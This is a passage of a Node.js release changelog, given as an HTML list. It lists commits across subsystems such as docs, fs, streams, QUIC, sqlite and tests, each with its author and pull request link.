<li>[<a href="https://github.com/nodejs/node/commit/9cb15fcc85"><code>9cb15fcc85</code></a>] - <strong>doc</strong>: fix typo in cli.md (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63883" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63883/hovercard">#63883</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/394d0bb928"><code>394d0bb928</code></a>] - <strong>doc</strong>: fix typo in vm.md (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63881" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63881/hovercard">#63881</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/59b7be8193"><code>59b7be8193</code></a>] - <strong>doc</strong>: fix typo in packages.md (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63882" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63882/hovercard">#63882</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/33c236cea9"><code>33c236cea9</code></a>] - <strong>doc</strong>: fix a/an article typos in module, util, and dns (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63766" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63766/hovercard">#63766</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/30595da67b"><code>30595da67b</code></a>] - <strong>doc</strong>: update npm supported versions link (hojeong park) <a href="https://github.com/nodejs/node/pull/63672" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63672/hovercard">#63672</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5919ba7e97"><code>5919ba7e97</code></a>] - <strong>doc</strong>: fix AES-OCB IV length in SubtleCrypto.supports example (Anshika Jain) <a href="https://github.com/nodejs/node/pull/63717" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63717/hovercard">#63717</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/51cab5cb72"><code>51cab5cb72</code></a>] - <strong>doc</strong>: add webstreams to args for <code>pipeline</code> from <code>stream/promises</code> (David Sanders) <a href="https://github.com/nodejs/node/pull/63628" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63628/hovercard">#63628</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ce85b2af88"><code>ce85b2af88</code></a>] - <strong>doc</strong>: fix "used to sent" → "used to send" in http2 (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63700" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63700/hovercard">#63700</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/298735e8df"><code>298735e8df</code></a>] - <strong>doc</strong>: mark Node.js 25 as End-of-Life (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63692" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63692/hovercard">#63692</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/56948518b9"><code>56948518b9</code></a>] - <strong>doc</strong>: clarify tty raw mode applies to input processing only (Muhammad Zeeshan) <a href="https://github.com/nodejs/node/pull/63438" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63438/hovercard">#63438</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/32ff731248"><code>32ff731248</code></a>] - <strong>doc</strong>: add worker_threads history entries (Bob Put) <a href="https://github.com/nodejs/node/pull/63545" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63545/hovercard">#63545</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cde0daabcc"><code>cde0daabcc</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>doc</strong>: update <code>blockList</code> stability status to release candidate (alphaleadership) <a href="https://github.com/nodejs/node/pull/63050" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63050/hovercard">#63050</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d29483fc4f"><code>d29483fc4f</code></a>] - <strong>doc,crypto</strong>: mark argon2 and encap/decap as stable (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63924" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63924/hovercard">#63924</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6e668331d9"><code>6e668331d9</code></a>] - <strong>events</strong>: improve <code>addAbortListener</code> perf by caching options object (Raz Luvaton) <a href="https://github.com/nodejs/node/pull/52367" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/52367/hovercard">#52367</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/97aafe2519"><code>97aafe2519</code></a>] - <strong>ffi</strong>: add fast support for almost all other platforms (Paolo Insogna) <a href="https://github.com/nodejs/node/pull/63941" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63941/hovercard">#63941</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f52cf5eeaa"><code>f52cf5eeaa</code></a>] - <strong>ffi</strong>: add experimental fast FFI call API for AArch64 and x86_64 (Paolo Insogna) <a href="https://github.com/nodejs/node/pull/63068" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63068/hovercard">#63068</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d9461fee05"><code>d9461fee05</code></a>] - <strong>ffi</strong>: port semi-colon fix for riscv64 (and others) (Stewart X Addison) <a href="https://github.com/nodejs/node/pull/63794" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63794/hovercard">#63794</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4c8402e0a8"><code>4c8402e0a8</code></a>] - <strong>fs</strong>: do not treat EPERM as ENOTEMPTY on Windows (Kirill Saied) <a href="https://github.com/nodejs/node/pull/63709" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63709/hovercard">#63709</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b78f5a7537"><code>b78f5a7537</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>fs</strong>: support caller-supplied readFile() buffers (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63634" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63634/hovercard">#63634</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3d0097d489"><code>3d0097d489</code></a>] - <strong>fs</strong>: prevent spurious recursive watch events on prefix siblings (Marco) <a href="https://github.com/nodejs/node/pull/63095" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63095/hovercard">#63095</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/14d829cb3c"><code>14d829cb3c</code></a>] - <strong>fs</strong>: ignore deleted dirs in recursive watch scan (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63686" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63686/hovercard">#63686</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ceba08a1ea"><code>ceba08a1ea</code></a>] - <strong>fs</strong>: coerce -0 to +0 in mode flags and watch intervals (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63556" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63556/hovercard">#63556</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6577d3b282"><code>6577d3b282</code></a>] - <strong>http</strong>: avoid stream listeners on idle agent sockets (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64004" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64004/hovercard">#64004</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/417aacbc36"><code>417aacbc36</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>http</strong>: close pre-request sockets in closeIdleConnections (semimikoh) <a href="https://github.com/nodejs/node/pull/63470" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63470/hovercard">#63470</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b7fd13a59a"><code>b7fd13a59a</code></a>] - <strong>http2</strong>: retain header memory in session accounting (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63752" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63752/hovercard">#63752</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e611ccd167"><code>e611ccd167</code></a>] - <strong>inspector</strong>: fix inspector.close() documented behavior (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/63837" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63837/hovercard">#63837</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a44f51eef3"><code>a44f51eef3</code></a>] - <strong>lib</strong>: fix missing lazyDOMException import (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64033" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64033/hovercard">#64033</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/27cc4ec598"><code>27cc4ec598</code></a>] - <strong>lib</strong>: add lint rule to enforce use of <code>kEmptyObject</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63790" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63790/hovercard">#63790</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7ee31b0bf4"><code>7ee31b0bf4</code></a>] - <strong>lib</strong>: improve control abstraction coverage in frozen intrinsics (Renegade334) <a href="https://github.com/nodejs/node/pull/63698" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63698/hovercard">#63698</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/078457839a"><code>078457839a</code></a>] - <strong>lib</strong>: add Iterator global to primordials (Renegade334) <a href="https://github.com/nodejs/node/pull/63698" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63698/hovercard">#63698</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/58837dc4dd"><code>58837dc4dd</code></a>] - <strong>lib</strong>: remove source map deadcode in type stripping (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/63738" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63738/hovercard">#63738</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e7513a8b9e"><code>e7513a8b9e</code></a>] - <strong>lib</strong>: make <code>Navigator#language</code> getter throw on invalid <code>this</code> (Mohamed Sayed) <a href="https://github.com/nodejs/node/pull/63601" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63601/hovercard">#63601</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fbb108be7d"><code>fbb108be7d</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>loader</strong>: implement package maps (Maël Nison) <a href="https://github.com/nodejs/node/pull/62239" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62239/hovercard">#62239</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ea0b8e1dc2"><code>ea0b8e1dc2</code></a>] - <strong>meta</strong>: bump github/codeql-action from 4.35.3 to 4.36.1 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63724" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63724/hovercard">#63724</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ac90719532"><code>ac90719532</code></a>] - <strong>meta</strong>: bump actions/cache from 5.0.4 to 5.0.5 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62847" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62847/hovercard">#62847</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3ed3de3062"><code>3ed3de3062</code></a>] - <strong>meta</strong>: bump actions/checkout from 6.0.2 to 6.0.3 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63726" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63726/hovercard">#63726</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d08d57bf70"><code>d08d57bf70</code></a>] - <strong>meta</strong>: bump codecov/codecov-action from 6.0.0 to 6.0.1 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63725" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63725/hovercard">#63725</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e748d192cf"><code>e748d192cf</code></a>] - <strong>meta</strong>: bump cachix/cachix-action (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63729" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63729/hovercard">#63729</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/10554eb131"><code>10554eb131</code></a>] - <strong>meta</strong>: bump actions/stale from 10.2.0 to 10.3.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63728" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63728/hovercard">#63728</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/791885f2af"><code>791885f2af</code></a>] - <strong>meta</strong>: bump step-security/harden-runner from 2.19.0 to 2.19.4 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63727" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63727/hovercard">#63727</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/32d9a407d9"><code>32d9a407d9</code></a>] - <strong>meta</strong>: bump cachix/install-nix-action from 31.10.5 to 31.10.6 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63723" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63723/hovercard">#63723</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b97c7bed07"><code>b97c7bed07</code></a>] - <strong>module</strong>: enable existing machinery for deferred import of static modules (Maya Lekova) <a href="https://github.com/nodejs/node/pull/63712" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63712/hovercard">#63712</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4becad2117"><code>4becad2117</code></a>] - <strong>module</strong>: use file: URL as sourceURL for type-stripped CommonJS (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63705" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63705/hovercard">#63705</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c71c85b95f"><code>c71c85b95f</code></a>] - <strong>net</strong>: early TCP binding via synchronous net.BoundSocket (Guy Bedford) <a href="https://github.com/nodejs/node/pull/63951" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63951/hovercard">#63951</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/45494d5a8a"><code>45494d5a8a</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>net</strong>: support TCP_KEEPINTVL and TCP_KEEPCNT in setKeepAlive (Guy Bedford) <a href="https://github.com/nodejs/node/pull/63825" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63825/hovercard">#63825</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3988efa1f3"><code>3988efa1f3</code></a>] - <strong>net</strong>: coerce -0 to +0 in BlockList prefixes (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63556" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63556/hovercard">#63556</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/484efd1c44"><code>484efd1c44</code></a>] - <strong>quic</strong>: fix get_reader bug that dropped data on FIN (Tim Perry) <a href="https://github.com/nodejs/node/pull/63946" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63946/hovercard">#63946</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/04a17fe6f0"><code>04a17fe6f0</code></a>] - <strong>quic</strong>: expose QUIC certificates as JS X509Certificate, not raw handles (Tim Perry) <a href="https://github.com/nodejs/node/pull/63191" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63191/hovercard">#63191</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b62d5696dc"><code>b62d5696dc</code></a>] - <strong>quic</strong>: fix reader backpressure deadlock on idle connections (Tim Perry) <a href="https://github.com/nodejs/node/pull/63950" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63950/hovercard">#63950</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3f1c8d7453"><code>3f1c8d7453</code></a>] - <strong>quic</strong>: fix broken listEndpoints export, test callbacks &amp; nghttp3 include (Tim Perry) <a href="https://github.com/nodejs/node/pull/63874" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63874/hovercard">#63874</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d8538b9deb"><code>d8538b9deb</code></a>] - <strong>quic</strong>: impl. cb for http/3 settings/app. options (Marten Richter) <a href="https://github.com/nodejs/node/pull/63558" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63558/hovercard">#63558</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/643b19716e"><code>643b19716e</code></a>] - <strong>quic</strong>: add listEndpoints API (James M Snell) <a href="https://github.com/nodejs/node/pull/63536" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63536/hovercard">#63536</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2bce35bea4"><code>2bce35bea4</code></a>] - <strong>sqlite</strong>: do not leave database open after failed open (Yagiz Nizipli) <a href="https://github.com/nodejs/node/pull/63854" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63854/hovercard">#63854</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/394af52abb"><code>394af52abb</code></a>] - <strong>sqlite</strong>: fix stack-use-after-scope with function callback (ndossche) <a href="https://github.com/nodejs/node/pull/63640" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63640/hovercard">#63640</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/10f03e5958"><code>10f03e5958</code></a>] - <strong>src</strong>: omit unconvertible names in cjs_lexer::Parse (Yagiz Nizipli) <a href="https://github.com/nodejs/node/pull/63943" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63943/hovercard">#63943</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1723773d41"><code>1723773d41</code></a>] - <strong>src</strong>: keep global list of addon-provided cleanup hooks (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/63985" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63985/hovercard">#63985</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ef12e9ea44"><code>ef12e9ea44</code></a>] - <strong>src</strong>: guard OpenSSL compression header include (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64009" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64009/hovercard">#64009</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/48af8a6d8d"><code>48af8a6d8d</code></a>] - <strong>src</strong>: handle empty MaybeLocal in cjs_lexer::Parse (Yagiz Nizipli) <a href="https://github.com/nodejs/node/pull/63885" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63885/hovercard">#63885</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2a672ee9e8"><code>2a672ee9e8</code></a>] - <strong>src</strong>: fast path empty native immediate drain (Gürgün Dayıoğlu) <a href="https://github.com/nodejs/node/pull/62969" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62969/hovercard">#62969</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/db6a31d1a1"><code>db6a31d1a1</code></a>] - <strong>src</strong>: do not track weak <code>BaseObject</code>s as childrens of <code>Realm</code>s (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/63842" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63842/hovercard">#63842</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5fb837ff46"><code>5fb837ff46</code></a>] - <strong>src</strong>: allow tracking children in <code>MemoryTracker</code> with weak edges (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/63842" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63842/hovercard">#63842</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6d22d373a9"><code>6d22d373a9</code></a>] - <strong>src</strong>: use C++14 deprecated attribute for <code>NODE_DEPRECATED</code> (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/63755" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63755/hovercard">#63755</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7ac3fe1992"><code>7ac3fe1992</code></a>] - <strong>src</strong>: add cleanup hooks to <code>node::ObjectWrap</code> (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/63642" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63642/hovercard">#63642</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d82d369155"><code>d82d369155</code></a>] - <strong>src</strong>: fix edge case when deflateInit2() fails with Z_VERSION_ERROR (Nora Dossche) <a href="https://github.com/nodejs/node/pull/63476" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63476/hovercard">#63476</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/03858d152b"><code>03858d152b</code></a>] - <strong>src</strong>: remove redundant <code>handle_</code> field in ffi (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/63665" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63665/hovercard">#63665</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1682264f6b"><code>1682264f6b</code></a>] - <strong>src</strong>: add Latin1 fast path in StringBytes::Encode utf8 (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/63385" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63385/hovercard">#63385</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cc29696acf"><code>cc29696acf</code></a>] - <strong>stream</strong>: fix Writable.toWeb() desiredSize for non-object-mode (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62986" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62986/hovercard">#62986</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d9967a25b2"><code>d9967a25b2</code></a>] - <strong>stream</strong>: handle falsy push writer fail reasons (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63569" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63569/hovercard">#63569</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b53f8f75c9"><code>b53f8f75c9</code></a>] - <strong>stream</strong>: reduce allocations on WHATWG streams hot paths (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63876" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63876/hovercard">#63876</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/315ca426d8"><code>315ca426d8</code></a>] - <strong>stream</strong>: handle setEncoding after buffered data (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63973" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63973/hovercard">#63973</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/06413cd6bd"><code>06413cd6bd</code></a>] - <strong>stream</strong>: fix Utf8Stream stall after full write of multi-byte data (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63964" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63964/hovercard">#63964</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a9f9a3dafa"><code>a9f9a3dafa</code></a>] - <strong>stream</strong>: keep overlapping broadcast reads pending (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63500" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63500/hovercard">#63500</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/009cca11bd"><code>009cca11bd</code></a>] - <strong>stream</strong>: refine the stream/iter backpressure (James M Snell) <a href="https://github.com/nodejs/node/pull/63697" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63697/hovercard">#63697</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3f81dcfc99"><code>3f81dcfc99</code></a>] - <strong>stream</strong>: only pass the expected number of parameters to callbacks (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63909" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63909/hovercard">#63909</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9a83b5d1fe"><code>9a83b5d1fe</code></a>] - <strong>stream</strong>: fix dropped first chunk in Utf8Stream buffer mode (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63833" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63833/hovercard">#63833</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0bdf5adea9"><code>0bdf5adea9</code></a>] - <strong>stream</strong>: remove transform-writer handling in pipeTo (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63684" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63684/hovercard">#63684</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/10272a94b6"><code>10272a94b6</code></a>] - <strong>stream</strong>: check done before backpressure in stream reader (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63699" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63699/hovercard">#63699</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/792c410631"><code>792c410631</code></a>] - <strong>stream</strong>: fix pipeToSync byte accounting (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63564" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63564/hovercard">#63564</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3cfafbc54b"><code>3cfafbc54b</code></a>] - <strong>stream</strong>: reject pull() reads on abort (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63498" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63498/hovercard">#63498</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/640a8cede5"><code>640a8cede5</code></a>] - <strong>stream</strong>: fast-path stateless transform flush results (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63605" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63605/hovercard">#63605</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ece4477872"><code>ece4477872</code></a>] - <strong>stream</strong>: optimize pipeTo promise handling (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63572" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63572/hovercard">#63572</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2cb84c2daf"><code>2cb84c2daf</code></a>] - <strong>stream</strong>: handle sync writev completion in pipeTo (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63561" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63561/hovercard">#63561</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7d9fdda5fa"><code>7d9fdda5fa</code></a>] - <strong>stream</strong>: settle pending broadcast reads on return (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63603" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63603/hovercard">#63603</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e2aea3aac7"><code>e2aea3aac7</code></a>] - <strong>test</strong>: tolerate duplicate watch change events (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63937" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63937/hovercard">#63937</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ea6300593a"><code>ea6300593a</code></a>] - <strong>test</strong>: mark test-debugger-run-after-quit-restart as flaky on macOS (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64006" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64006/hovercard">#64006</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/be1b204fa4"><code>be1b204fa4</code></a>] - <strong>test</strong>: update WPT for url to d4598eba09 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63899" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63899/hovercard">#63899</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b3d0d05b05"><code>b3d0d05b05</code></a>] - <strong>test</strong>: update WPT for WebCryptoAPI to 03a1476844 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63900" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63900/hovercard">#63900</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/046af2609f"><code>046af2609f</code></a>] - <strong>test</strong>: update WPT for urlpattern to 23aac92784 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63898/hovercard">#63898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/562b831a98"><code>562b831a98</code></a>] - <strong>test</strong>: add tests for 3 methods in utils (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63765" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63765/hovercard">#63765</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/28e3629dd3"><code>28e3629dd3</code></a>] - <strong>test</strong>: mark SEA tests flaky on linux arm debug (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63743" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63743/hovercard">#63743</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/243aa846de"><code>243aa846de</code></a>] - <strong>test</strong>: validate ERR_INVALID_THIS for scheduler methods (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63764" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63764/hovercard">#63764</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6bd07df2bc"><code>6bd07df2bc</code></a>] - <strong>test</strong>: add coverage outside SEA (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63744" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63744/hovercard">#63744</a></li>
